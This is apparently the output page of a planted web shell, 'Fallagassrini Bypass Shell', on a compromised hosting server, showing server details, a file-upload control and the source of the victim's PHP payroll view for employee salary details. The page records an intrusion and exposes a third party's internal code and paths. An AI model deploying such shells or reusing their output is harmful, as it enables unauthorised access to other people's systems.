? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/www/savoyglobal.net/sgms/application/views/HR/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/www/savoyglobal.net/sgms/application/views/HR/single_salary_details.php

<?php
   if ( ! defined('BASEPATH')) exit('No direct script access allowed');
    $this->load->view('documentreadyfunctions');
    $this->load->view('hrfunctions');
?>
<div class="select-bar">
    <label><img src="<?=base_url()?>assets/images/backbutton.png" title="Back" style="float: left;" class="clickimage" onclick="viewdata('hr','viewinhrsearch','search_salary_payment','view_salary_payment','<?=$_SESSION['pagenum'];?>')" alt="Back" align = "center" width="25" height="25"  /></label>
    <span class="heading">Employee Salary Details</span>
</div>
<fieldset>
    <?php
        $attributes=array('id'=>'validateform','class'=>'customForm');
        echo form_open('#',$attributes);
        $allowdeduc = $this->mastermodel->getdatas('allowdeduc','allowdeduc_id');
        $employee_salary_allowdeduc = $this->mastermodel->getdatas('employee_salary_allowdeduc','employee_salary_id');
        $employee = $this->mastermodel->getdatas('employee','employee_id');
        $designation=$this->mastermodel->getdatas('designation','designation_id');
        $department=$this->mastermodel->getdatas('department','department_id');
    ?>
    
    <ul>
        <li>
            <label for="data">Employee Name</label>
                <div class="record_entry">
                    <?=$this->mastermodel->getSingleFieldValue('employee','employee_name','employee_id',$viewinfo->employee_id);?>
                </div>
              <label for="data">Designation</label>
              <?php $designation = $this->mastermodel->get_data_srow('designation',$viewinfo->employee_id,'designation_id');
                                ?>
              <div class="record_entry">
                <?=$designation->designation_name?>
                 </div>
                <label for="data">Department</label>
               <?php $department = $this->mastermodel->get_data_srow('department',$viewinfo->employee_id,'department_id');?>
                <div class="record_entry">
                    <?=$department->department_name?>
                </div>
        </li>
        <li>
            <label for="data">Basic Salary</label>
            <div class="record_entry"> <?php echo $viewinfo->basic_salary ." ". $this->mastermodel->getSingleFieldValue('currency','currency_code','default_currency','1'); ?> </div>
        </li>
        <br/><br/>
        <caption>Allowance/Deduction Details</caption><br/><br/>
        <table class="sort">
            <tr>
                <th align="center">Title</th>
                <th align="center">Mode</th>
                <th align="center">Amount/Percentage</th>
                <th align="center">Sub Total</th>
                <th align="center">Type</th>
            </tr>
            <?php
            $i=1;
            $tot_allowance=0;
            $tot_deduct =0;
            $dept=$this->mastermodel->get_data('allowdeduc','1','allowdeduc_type');
            foreach($dept as $dep)
            {
                $basicsalary = $viewinfo->basic_salary;
                if($dep['allowdeduc_mode']==1)
                    $mode="Direct Amount";
                else
                    $mode="Percentage";
                ?>
                <tr>
                    <td><?=$dep['allowdeduc_name'];?></td>
                    <td><?=$mode?></td>
                    <?php
                    $amount_allowdeduc=$this->mastermodel->get_data_dual_srow('employee_salary_allowdeduc',$dep['allowdeduc_id'],'allowdeduc_id',$viewinfo->employee_salary_id,'employee_salary_id');
                    if(!empty ($amount_allowdeduc))
                        $allowdeduc_amount = $amount_allowdeduc->amount;
                    else
                        $allowdeduc_amount=0;
                    ?>
                    <td><?=$allowdeduc_amount;if($dep['allowdeduc_mode']==0){echo '%';}?></td>
                    <?php
                    if($dep['allowdeduc_mode']==0)
                        $allototal= $allowdeduc_amount/100*$basicsalary;
                    else
                        $allototal=$allowdeduc_amount;
                    $tot_allowance+= $allototal;
                    ?>
                    <td><?=$allototal;?></td>
                    <td>Allowance</td>
                </tr>
                <?php
                $i++;
            }
            ?>
            <input type="hidden" name="allowcount" id="allowcount" value="<?=$i?>" />
            <?php
            $dept=$this->mastermodel->get_data('allowdeduc','0','allowdeduc_type');
            foreach($dept as $dep)
            {
                if($dep['allowdeduc_mode']==1)
                    $mode="Direct Amount";
                else
                    $mode="Percentage";
                ?>
                <?php
                $amount_allowdeduc=$this->mastermodel->get_data_dual_srow('employee_salary_allowdeduc',$dep['allowdeduc_id'],'allowdeduc_id',$viewinfo->employee_salary_id,'employee_salary_id');
                $allowdeduc_amount = $amount_allowdeduc->amount;
                if($dep['allowdeduc_mode']==0)
                    $allototal= $allowdeduc_amount/100*$basicsalary;
                else
                    $allototal=$allowdeduc_amount;
                ?>
                <tr>
                    <td><?=$dep['allowdeduc_name'];?></td>
                    <td><?=$mode?></td>
                    <td><?=$allowdeduc_amount;if($dep['allowdeduc_mode']==0){ echo '%';} ?></td>
                    <?php
                    if($dep['allowdeduc_mode']==0)
                        $dedtotal= $allowdeduc_amount/100*$basicsalary;
                    else
                        $dedtotal=$allowdeduc_amount;
                    $tot_deduct = $dedtotal;
                    ?>
                    <td><?=$dedtotal;?></td>
                    <td>Deduction</td>
                </tr>
                <?php
                $i++;
            }
            ?>
            <input type="hidden" name="dedcount" id="dedcount" value="<?=$i?>" />
        </table>
        <br/><br/>
        <caption>Salary Details</caption><br/><br/>
        <table class="sort" cellpadding="0" cellspacing="0" width="200px;">
            <tr>
                <th>Allowance</th>
                <th>Deduction</th>
            </tr>
            <tr>
                <td><?php echo $tot_allowance; ?></td>
                <td><?php echo $tot_deduct ; ?></td>
            </tr>
            <tr>
                <th>Gross Salary</th>
                <th>Net Salary</th>
            </tr>
            <tr>
                <td><?php echo $basicsalary + $tot_allowance; ?></td>
                <td><?php echo ($basicsalary + $tot_allowance) - $tot_deduct ; ?></td>
            </tr>
        </table>
        <br/><br/>
       


    </ul>
    <?=form_close();?>
</fieldset>




bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net